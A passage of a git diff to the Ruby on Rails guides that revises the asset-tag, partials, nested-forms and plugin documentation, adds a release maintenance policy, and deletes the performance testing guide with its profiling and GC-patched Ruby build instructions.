the `stylesheet_link_tag` creates links with `media="screen" rel="st <%= stylesheet_link_tag "main_print", media: "print" %> ``` -If the asset pipeline is disabled, the `all` option links every CSS file in `public/stylesheets`: - -```erb -<%= stylesheet_link_tag :all %> -``` - -You can supply the `:recursive` option to link files in subfolders of `public/stylesheets` as well: - -```erb -<%= stylesheet_link_tag :all, recursive: true %> -``` - -If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `cache: true` in your `stylesheet_link_tag`: - -```erb -<%= stylesheet_link_tag "main", "columns", cache: true %> -``` - -By default, the combined file will be delivered as `stylesheets/all.css`. You can specify a location for the cached asset file instead: - -```erb -<%= stylesheet_link_tag "main", "columns", - cache: "cache/main/display" %> -``` - -You can even use dynamic paths such as `cache/#{current_site}/main/display`. - #### Linking to Images with the `image_tag` The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`. @@ -900,7 +909,10 @@ You can also specify multiple videos to play by passing an array of videos to th This will produce: ```erb -<video><source src="trailer.ogg" /><source src="movie.ogg" /></video> +<video> + <source src="/videos/trailer.ogg"> + <source src="/videos/movie.ogg"> +</video> ``` #### Linking to Audio Files with the `audio_tag` @@ -1018,6 +1030,42 @@ One way to use partials is to treat them as the equivalent of subroutines: as a Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. +As you already could see from the previous sections of this guide, `yield` is a very powerful tool for cleaning up your layouts. Keep in mind that it's pure ruby, so you can use it almost everywhere. For example, we can use it to DRY form layout definition for several similar resources: + +* `users/index.html.erb` + + ```html+erb + <%= render "shared/search_filters", search: @q do |f| %> + <p> + Name contains: <%= f.text_field :name_contains %> + </p> + <%= end %> + ``` + +* `roles/index.html.erb` + + ```html+erb + <%= render "shared/search_filters", search: @q do |f| %> + <p> + Title contains: <%= f.text_field :title_contains %> + </p> + <%= end %> + ``` + +* `shared/_search_filters.html.erb` + + ```html+erb + <%= form_for(@q) do |f| %> + <h1>Search form:</h1> + <fieldset> + <%= yield f %> + </fieldset> + <p> + <%= f.submit "Search" %> + </p> + <% end %> + ``` + TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. #### Partial Layouts @@ -1040,7 +1088,6 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <h1>New zone</h1> - <%= error_messages_for :zone %> <%= render partial: "form", locals: {zone: @zone} %> ``` @@ -1048,7 +1095,6 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <h1>Editing zone</h1> - <%= error_messages_for :zone %> <%= render partial: "form", locals: {zone: @zone} %> ``` @@ -1057,7 +1103,7 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <%= form_for(zone) do |f| %> <p> - <b>Zone name</b><br /> + <b>Zone name</b><br> <%= f.text_field :name %> </p> <p> @@ -1153,11 +1199,11 @@ With this change, you can access an instance of the `@products` collection as th You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option: ```erb -<%= render partial: "products", collection: @products, +<%= render partial: "product", collection: @products, as: :item, locals: {title: "Products Page"} %> ``` -Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`. +In this case, the partial will have access to a local variable `title` with the value "Products Page". TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option. diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md new file mode 100644 index 0000000000..45cdc549f7 --- /dev/null +++ b/guides/source/maintenance_policy.md @@ -0,0 +1,80 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Maintenance Policy for Ruby on Rails +==================================== + +Support of the Rails framework is divided into four groups: New features, bug +fixes, security issues, and severe security issues. They are handled as +follows, all versions in `X.Y.Z` format. + +-------------------------------------------------------------------------------- + +Rails follows a shifted version of [semver](http://semver.org/): + +**Patch `Z`** + +Only bug fixes, no API changes, no new features. +Except as necessary for security fixes. + +**Minor `Y`** + +New features, may contain API changes (Serve as major versions of Semver). +Breaking changes are paired with deprecation notices in the previous minor +or major release. + +**Major `X`** + +New features, will likely contain API changes. The difference between Rails' +minor and major releases is the magnitude of breaking changes, and usually +reserved for special occasions. + +New Features +------------ + +New features are only added to the master branch and will not be made available +in point releases. + +Bug Fixes +--------- + +Only the latest release series will receive bug fixes. When enough bugs are +fixed and its deemed worthy to release a new gem, this is the branch it happens +from. + +In special situations, where someone from the Core Team agrees to support more series, +they are included in the list of supported series. + +**Currently included series:** `4.2.Z`, `4.1.Z` (Supported by Rafael França). + +Security Issues +--------------- + +The current release series and the next most recent one will receive patches +and new versions in case of a security issue. + +These releases are created by taking the last released version, applying the +security patches, and releasing. Those patches are then applied to the end of +the x-y-stable branch. For example, a theoretical 1.2.3 security release would +be built from 1.2.2, and then added to the end of 1-2-stable. This means that +security releases are easy to upgrade to if you're running the latest version +of Rails. + +**Currently included series:** `4.2.Z`, `4.1.Z`. + +Severe Security Issues +---------------------- + +For severe security issues we will provide new versions as above, and also the +last major release series will receive patches and new versions. The +classification of the security issue is judged by the core team. + +**Currently included series:** `4.2.Z`, `4.1.Z`, `3.2.Z`. + +Unsupported Release Series +-------------------------- + +When a release series is no longer supported, it's your own responsibility to +deal with bugs and security issues. We may provide backports of the fixes and +publish them to git, however there will be no new versions released. If you are +not comfortable maintaining your own versions, you should upgrade to a +supported version. diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md index 2b46a9d51e..44236ad239 100644 --- a/guides/source/nested_model_forms.md +++ b/guides/source/nested_model_forms.md @@ -1,4 +1,6 @@ -Rails nested model forms +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Rails Nested Model Forms ======================== Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations. @@ -9,7 +11,7 @@ After reading this guide, you will know: -------------------------------------------------------------------------------- -NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). +NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). Model setup @@ -17,9 +19,9 @@ Model setup To be able to use the nested model functionality in your forms, the model will need to support some basic operations. -First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build. +First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built. -If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. +If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded. Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`. @@ -54,9 +56,12 @@ class Person < ActiveRecord::Base end ``` +NOTE: For greater detail on associations see [Active Record Associations](association_basics.html). +For a complete reference on associations please visit the API documentation for [ActiveRecord::Associations::ClassMethods](http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html). + ### Custom model -As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour: +As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior: #### Single associated object @@ -98,7 +103,7 @@ A nested model form will _only_ be built if the associated object(s) exist. This Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template: ```ruby -class PeopleController < ActionController:Base +class PeopleController < ApplicationController def new @person = Person.new @person.built_address @@ -177,7 +182,7 @@ When this form is posted the Rails parameter parser will construct a hash like t } ``` -That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. +That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. #### Nested form for a collection of associated objects @@ -220,6 +225,6 @@ As you can see it has generated 2 `project name` inputs, one for each new `proje You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance. -NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. +NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep. TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example. diff --git a/guides/source/performance_testing.md b/guides/source/performance_testing.md deleted file mode 100644 index ee0059623c..0000000000 --- a/guides/source/performance_testing.md +++ /dev/null @@ -1,686 +0,0 @@ -Performance Testing Rails Applications -====================================== - -This guide covers the various ways of performance testing a Ruby on Rails -application. - -After reading this guide, you will know: - -* The various types of benchmarking and profiling metrics. -* How to generate performance and benchmarking tests. -* How to install and use a GC-patched Ruby binary to measure memory usage and object - allocation. -* The benchmarking information provided by Rails inside the log files. -* Various tools facilitating benchmarking and profiling. - -Performance testing is an integral part of the development cycle. It is very -important that you don't make your end users wait for too long before the page -is completely loaded. Ensuring a pleasant browsing experience for end users and -cutting the cost of unnecessary hardware is important for any non-trivial web -application. - --------------------------------------------------------------------------------- - -Performance Test Cases ----------------------- - -Rails performance tests are a special type of integration tests, designed for -benchmarking and profiling the test code. With performance tests, you can -determine where your application's memory or speed problems are coming from, -and get a more in-depth picture of those problems. - -In a freshly generated Rails application, `test/performance/browsing_test.rb` -contains an example of a performance test: - -```ruby -require 'test_helper' -require 'rails/performance_test_help' - -class BrowsingTest < ActionDispatch::PerformanceTest - # Refer to the documentation for all available options - # self.profile_options = { runs: 5, metrics: [:wall_time, :memory], - # output: 'tmp/performance', formats: [:flat] } - - test "homepage" do - get '/' - end -end -``` - -This example is a simple performance test case for profiling a GET request to -the application's homepage. - -### Generating Performance Tests - -Rails provides a generator called `performance_test` for creating new -performance tests: - -```bash -$ rails generate performance_test homepage -``` - -This generates `homepage_test.rb` in the `test/performance` directory: - -```ruby -require 'test_helper' -require 'rails/performance_test_help' - -class HomepageTest < ActionDispatch::PerformanceTest - # Refer to the documentation for all available options - # self.profile_options = { runs: 5, metrics: [:wall_time, :memory], - # output: 'tmp/performance', formats: [:flat] } - - test "homepage" do - get '/' - end -end -``` - -### Examples - -Let's assume your application has the following controller and model: - -```ruby -# routes.rb -root to: 'home#dashboard' -resources :posts - -# home_controller.rb -class HomeController < ApplicationController - def dashboard - @users = User.last_ten.includes(:avatars) - @posts = Post.all_today - end -end - -# posts_controller.rb -class PostsController < ApplicationController - def create - @post = Post.create(params[:post]) - redirect_to(@post) - end -end - -# post.rb -class Post < ActiveRecord::Base - before_save :recalculate_costly_stats - - def slow_method - # I fire gallzilion queries sleeping all around - end - - private - - def recalculate_costly_stats - # CPU heavy calculations - end -end -``` - -#### Controller Example - -Because performance tests are a special kind of integration test, you can use -the `get` and `post` methods in them. - -Here's the performance test for `HomeController#dashboard` and -`PostsController#create`: - -```ruby -require 'test_helper' -require 'rails/performance_test_help' - -class PostPerformanceTest < ActionDispatch::PerformanceTest - def setup - # Application requires logged-in user - login_as(:lifo) - end - - test "homepage" do - get '/dashboard' - end - - test "creating new post" do - post '/posts', post: { body: 'lifo is fooling you' } - end -end -``` - -You can find more details about the `get` and `post` methods in the -[Testing Rails Applications](testing.html) guide. - -#### Model Example - -Even though the performance tests are integration tests and hence closer to -the request/response cycle by nature, you can still performance test pure model -code. - -Performance test for `Post` model: - -```ruby -require 'test_helper' -require 'rails/performance_test_help' - -class PostModelTest < ActionDispatch::PerformanceTest - test "creation" do - Post.create body: 'still fooling you', cost: '100' - end - - test "slow method" do - # Using posts(:awesome) fixture - posts(:awesome).slow_method - end -end -``` - -### Modes - -Performance tests can be run in two modes: Benchmarking and Profiling. - -#### Benchmarking - -Benchmarking makes it easy to quickly gather a few metrics about each test run. -By default, each test case is run **4 times** in benchmarking mode. - -To run performance tests in benchmarking mode: - -```bash -$ rake test:benchmark -``` - -#### Profiling - -Profiling allows you to make an in-depth analysis of each of your tests by using -an external profiler. Depending on your Ruby interpreter, this profiler can be -native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each -test case is run **once** in profiling mode. - -To run performance tests in profiling mode: - -```bash -$ rake test:profile -``` - -### Metrics - -Benchmarking and profiling run performance tests and give you multiple metrics. -The availability of each metric is determined by the interpreter being used—none -of them support all metrics—and by the mode in use. A brief description of each -metric and their availability across interpreters/modes is given below. - -#### Wall Time - -Wall time measures the real world time elapsed during the test run. It is -affected by any other processes concurrently running on the system. - -#### Process Time - -Process time measures the time taken by the process. It is unaffected by any -other processes running concurrently on the same system. Hence, process time -is likely to be constant for any given performance test, irrespective of the -machine load. - -#### CPU Time - -Similar to process time, but leverages the more accurate CPU clock counter -available on the Pentium and PowerPC platforms. - -#### User Time - -User time measures the amount of time the CPU spent in user-mode, i.e. within -the process. This is not affected by other processes and by the time it possibly -spends blocked. - -#### Memory - -Memory measures the amount of memory used for the performance test case. - -#### Objects - -Objects measures the number of objects allocated for the performance test case. - -#### GC Runs - -GC Runs measures the number of times GC was invoked for the performance test case. - -#### GC Time - -GC Time measures the amount of time spent in GC for the performance test case. - -#### Metric Availability - -##### Benchmarking - -| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time | -| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- | -| **MRI** | yes | yes | yes | no | yes | yes | yes | yes | -| **REE** | yes | yes | yes | no | yes | yes | yes | yes | -| **Rubinius** | yes | no | no | no | yes | yes | yes | yes | -| **JRuby** | yes | no | no | yes | yes | yes | yes | yes | - -##### Profiling - -| Interpreter | Wall Time | Process Time | CPU Time | User Time | Memory | Objects | GC Runs | GC Time | -| ------------ | --------- | ------------ | -------- | --------- | ------ | ------- | ------- | ------- | -| **MRI** | yes | yes | no | no | yes | yes | yes | yes | -| **REE** | yes | yes | no | no | yes | yes | yes | yes | -| **Rubinius** | yes | no | no | no | no | no | no | no | -| **JRuby** | yes | no | no | no | no | no | no | no | - -NOTE: To profile under JRuby you'll need to run `export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"` -**before** the performance tests. - -### Understanding the Output - -Performance tests generate different outputs inside `tmp/performance` directory -depending on their mode and metric. - -#### Benchmarking - -In benchmarking mode, performance tests generate two types of outputs. - -##### Command Line - -This is the primary form of output in benchmarking mode. Example: - -```bash -BrowsingTest#test_homepage (31 ms warmup) - wall_time: 6 ms - memory: 437.27 KB - objects: 5,514 - gc_runs: 0 - gc_time: 19 ms -``` - -##### CSV Files - -Performance test results are also appended to `.csv` files inside `tmp/performance`. -For example, running the default `BrowsingTest#test_homepage` will generate -following five files: - -* BrowsingTest#test_homepage_gc_runs.csv -* BrowsingTest#test_homepage_gc_time.csv -* BrowsingTest#test_homepage_memory.csv -* BrowsingTest#test_homepage_objects.csv -* BrowsingTest#test_homepage_wall_time.csv - -As the results are appended to these files each time the performance tests are -run in benchmarking mode, you can collect data over a period of time. This can -be very helpful in analyzing the effects of code changes. - -Sample output of `BrowsingTest#test_homepage_wall_time.csv`: - -```bash -measurement,created_at,app,rails,ruby,platform -0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux -``` - -#### Profiling - -In profiling mode, performance tests can generate multiple types of outputs. -The command line output is always presented but support for the others is -dependent on the interpreter in use. A brief description of each type and -their availability across interpreters is given below. - -##### Command Line - -This is a very basic form of output in profiling mode: - -```bash -BrowsingTest#test_homepage (58 ms warmup) - process_time: 63 ms - memory: 832.13 KB - objects: 7,882 -``` - -##### Flat - -Flat output shows the metric—time, memory, etc—measure in each method. -[Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/flat_txt.html). - -##### Graph - -Graph output shows the metric measure in each method, which methods call it and -which methods it calls. [Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/graph_txt.html). - -##### Tree - -Tree output is profiling information in calltree format for use by [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html) -and similar tools. - -##### Output Availability - -| | Flat | Graph | Tree | -| ------------ | ---- | ----- | ---- | -| **MRI** | yes | yes | yes | -| **REE** | yes | yes | yes | -| **Rubinius** | yes | yes | no | -| **JRuby** | yes | yes | no | - -### Tuning Test Runs - -Test runs can be tuned by setting the `profile_options` class variable on your -test class. - -```ruby -require 'test_helper' -require 'rails/performance_test_help' - -class BrowsingTest < ActionDispatch::PerformanceTest - self.profile_options = { runs: 5, metrics: [:wall_time, :memory] } - - test "homepage" - get '/' - end -end -``` - -In this example, the test would run 5 times and measure wall time and memory. -There are a few configurable options: - -| Option | Description | Default | Mode | -| ---------- | ------------------------------------------ | ----------------------------- | --------- | -| `:runs` | Number of runs. | Benchmarking: 4, Profiling: 1 | Both | -| `:output` | Directory to use when writing the results. | `tmp/performance` | Both | -| `:metrics` | Metrics to use. | See below. | Both | -| `:formats` | Formats to output to. | See below. | Profiling | - -Metrics and formats have different defaults depending on the interpreter in use. - -| Interpreter | Mode | Default metrics | Default formats | -| -------------- | ------------ | ------------------------------------------------------- | ----------------------------------------------- | -| **MRI/REE** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A | -| | Profiling | `[:process_time, :memory, :objects]` | `[:flat, :graph_html, :call_tree, :call_stack]` | -| **Rubinius** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A | -| | Profiling | `[:wall_time]` | `[:flat, :graph]` | -| **JRuby** | Benchmarking | `[:wall_time, :user_time, :memory, :gc_runs, :gc_time]` | N/A | -| | Profiling | `[:wall_time]` | `[:flat, :graph]` | - -As you've probably noticed by now, metrics and formats are specified using a -symbol array with each name [underscored.](http://api.rubyonrails.org/classes/String.html#method-i-underscore) - -### Performance Test Environment - -Performance tests are run in the `test` environment. But running performance -tests will set the following configuration parameters: - -```bash -ActionController::Base.perform_caching = true -ActiveSupport::Dependencies.mechanism = :require -Rails.logger.level = ActiveSupport::Logger::INFO -``` - -As `ActionController::Base.perform_caching` is set to `true`, performance tests -will behave much as they do in the `production` environment. - -### Installing GC-Patched MRI - -To get the best from Rails' performance tests under MRI, you'll need to build -a special Ruby binary with some super powers. - -The recommended patches for each MRI version are: - -| Version | Patch | -| --------------- | --------- | -| 1.8.6 | ruby186gc | -| 1.8.7 | ruby187gc | -| 1.9.2 and above | gcdata | - -All of these can be found on [RVM's _patches_ directory](https://github.com/wayneeseguin/rvm/tree/master/patches/ruby) -under each specific interpreter version. - -Concerning the installation itself, you can either do this easily by using -[RVM](http://rvm.beginrescueend.com) or you can build everything from source, -which is a little bit harder. - -#### Install Using RVM - -The process of installing a patched Ruby interpreter is very easy if you let RVM -do the hard work. All of the following RVM commands will provide you with a -patched Ruby interpreter: - -```bash -$ rvm install 1.9.2-p180 --patch gcdata -$ rvm install 1.8.7 --patch ruby187gc -$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch -``` - -You can even keep your regular interpreter by assigning a name to the patched -one: - -```bash -$ rvm install 1.9.2-p180 --patch gcdata --name gcdata -$ rvm use 1.9.2-p180 # your regular ruby -$ rvm use 1.9.2-p180-gcdata # your patched ruby -``` - -And it's done! You have installed a patched Ruby interpreter. - -#### Install From Source - -This process is a bit more complicated, but straightforward nonetheless. If -you've never compiled a Ruby binary before, follow these steps to build a -Ruby binary inside your home directory. - -##### Download and Extract - -```bash -$ mkdir rubygc -$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby> -$ tar -xzvf <ruby-version.tar.gz> -$ cd <ruby-version> -``` - -##### Apply the Patch - -```bash -$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2! -$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7! -``` - -##### Configure and Install - -The following will install Ruby in your home directory's `/rubygc` directory. -Make sure to replace `<homedir>` with a full patch to your actual home -directory. - -```bash -$ ./configure --prefix=/<homedir>/rubygc -$ make && make install -``` - -##### Prepare Aliases - -For convenience, add the following lines in your `~/.profile`: - -```bash -alias gcruby='~/rubygc/bin/ruby' -alias gcrake='~/rubygc/bin/rake' -alias gcgem='~/rubygc/bin/gem' -alias gcirb='~/rubygc/bin/irb' -alias gcrails='~/rubygc/bin/rails' -``` - -Don't forget to use your aliases from now on. - -### Using Ruby-Prof on MRI and REE - -Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile -under MRI or REE: - -```ruby -gem 'ruby-prof' -``` - -Now run `bundle install` and you're ready to go. - -Command Line Tools ------------------- - -Writing performance test cases could be an overkill when you are looking for one -time tests. Rails ships with two command line tools that enable quick and dirty -performance testing: - -### `benchmarker` - -Usage: - -```bash -Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS] - -r, --runs N Number of runs. - Default: 4 - -o, --output PATH Directory to use when writing the results. - Default: tmp/performance - -m, --metrics a,b,c Metrics to use. - Default: wall_time,memory,objects,gc_runs,gc_time -``` - -Example: - -```bash -$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory -``` - -### `profiler` - -Usage: - -```bash -Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS] - -r, --runs N Number of runs. - Default: 1 - -o, --output PATH Directory to use when writing the results. - Default: tmp/performance - -m, --metrics a,b,c Metrics to use. - Default: process_time,memory,objects - -f, --formats x,y,z Formats to output to. - Default: flat,graph_html,call_tree -``` - -Example: - -```bash -$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat -``` - -NOTE: Metrics and formats vary from interpreter to interpreter. Pass `--help` to -each tool to see the defaults for your interpreter. - -Helper Methods --------------- - -Rails provides various helper methods inside Active Record, Action Controller -and Action View to measure the time taken by a given piece of code. The method -is called `benchmark()` in all the three components. - -### Model - -```ruby -Project.benchmark("Creating project") do - project = Project.create("name" => "stuff") - project.create_manager("name" => "David") - project.milestones << Milestone.all -end -``` - -This benchmarks the code enclosed in the `Project.benchmark("Creating project") do...end` -block and prints the result to the log file: - -```ruby -Creating project (185.3ms) -``` - -Please refer to the [API docs](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark) -for additional options to `benchmark()`. - -### Controller - -Similarly, you could use this helper method inside [controllers.](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html) - -```ruby -def process_projects - benchmark("Processing projects") do - Project.process(params[:project_ids]) - Project.update_cached_projects - end -end -``` - -NOTE: `benchmark` is a class method inside controllers. - -### View - -And in [views](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:) - -```erb -<% benchmark("Showing projects partial") do %> - <%= render @projects %> -<% end %> -``` - -Request Logging ---------------- - -Rails log files contain very useful information about the time taken to serve -each request. Here's a typical log file entry: - -```bash -Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET] -Rendering template within layouts/items -Rendering items/index -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] -``` - -For this section, we're only interested in the last line: - -```bash -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items] -``` - -This data is fairly straightforward to understand. Rails uses millisecond(ms) as -the metric to measure the time taken. The complete request spent 5 ms inside -Rails, out of which 2 ms were spent rendering views and none was spent -communication with the database. It's safe to assume that the remaining 3 ms -were spent inside the controller. - -Michael Koziarski has an [interesting blog post](http://www.therailsway.com/2009/1/6/requests-per-second) -explaining the importance of using milliseconds as the metric. - -Useful Links ------------- - -### Rails Plugins and Gems - -* [Rails Analyzer](http://rails-analyzer.rubyforge.org) -* [Rails Footnotes](https://github.com/josevalim/rails-footnotes/tree/master) -* [Query Reviewer](https://github.com/nesquena/query_reviewer) -* [MiniProfiler](http://www.miniprofiler.com) - -### Generic Tools - -* [httperf](http://www.hpl.hp.com/research/linux/httperf/) -* [ab](http://httpd.apache.org/docs/2.2/programs/ab.html) -* [JMeter](http://jakarta.apache.org/jmeter/) -* [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html) - -### Tutorials and Documentation - -* [ruby-prof API Documentation](http://ruby-prof.rubyforge.org) -* [Request Profiling Railscast](http://railscasts.com/episodes/98-request-profiling) - Outdated, but useful for understanding call graphs. - -Commercial Products -------------------- - -Rails has been lucky to have a few companies dedicated to Rails-specific -performance tools. A couple of those are: - -* [New Relic](http://www.newrelic.com) -* [Scout](http://scoutapp.com) diff --git a/guides/source/plugins.md b/guides/source/plugins.md index f8f04c3c67..bd884441ac 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -1,11 +1,13 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + The Basics of Creating Rails Plugins ==================================== A Rails plugin is either an extension or a modification of the core framework. Plugins provide: -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don’t have to include every cool new feature under the sun +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. After reading this guide, you will know: @@ -15,7 +17,7 @@ After reading this guide, you will know: This guide describes how to build a test-driven plugin that will: * Extend core Ruby classes like Hash and String. -* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins. +* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins. * Give you information about where to put generators in your plugin. For the purpose of this guide pretend for a moment that you are an avid bird watcher. @@ -34,15 +36,21 @@ different rails applications using RubyGems and Bundler if desired. Rails ships with a `rails plugin new` command which creates a - skeleton for developing any kind of Rails extension with the ability - to run integration tests using a dummy Rails application. See usage - and options by asking for help: +skeleton for developing any kind of Rails extension with the ability +to run integration tests using a dummy Rails application. Create your +plugin with the command: + +```bash +$ rails plugin new yaffle +``` + +See usage and options by asking for help: ```bash -$ rails plugin --help +$ rails plugin new --help ``` -Testing your newly generated plugin +Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command @@ -51,7 +59,7 @@ You can navigate to the directory that contains the plugin, run the `bundle inst You should see: ```bash - 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips + 1 runs, 1 assertions, 0 failures, 0 errors, 0 skips ``` This will tell you that everything got generated properly and you are ready to start adding functionality. @@ -68,7 +76,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre require 'test_helper' -class CoreExtTest < Test::Unit::TestCase +class CoreExtTest < ActiveSupport::TestCase def test_to_squawk_prepends_the_word_squawk assert_equal "squawk! Hello World", "Hello World".to_squawk end @@ -79,19 +87,19 @@ Run `rake` to run the test. This test should fail because we haven't implemented ```bash 1) Error: - test_to_squawk_prepends_the_word_squawk(CoreExtTest): - NoMethodError: undefined method `to_squawk' for [Hello World](String) - test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' + CoreExtTest#test_to_squawk_prepends_the_word_squawk: + NoMethodError: undefined method `to_squawk' for "Hello World":String + /path/to/yaffle/test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' ``` Great - now you are ready to start development. -Then in `lib/yaffle.rb` require `lib/core_ext`: +In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`: ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' module Yaffle end @@ -112,13 +120,13 @@ end To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. ```bash - 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips + 2 runs, 2 assertions, 0 failures, 0 errors, 0 skips ``` To see this in action, change to the test/dummy directory, fire up a console and start squawking: ```bash -$ rails console +$ bin/rails console >> "Hello World".to_squawk => "squawk! Hello World" ``` @@ -126,8 +134,8 @@ $ rails console Add an "acts_as" Method to Active Record ---------------------------------------- -A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you -want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models. +A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you +want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models. To begin, set up your files so that you have: @@ -136,14 +144,14 @@ To begin, set up your files so that you have: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class 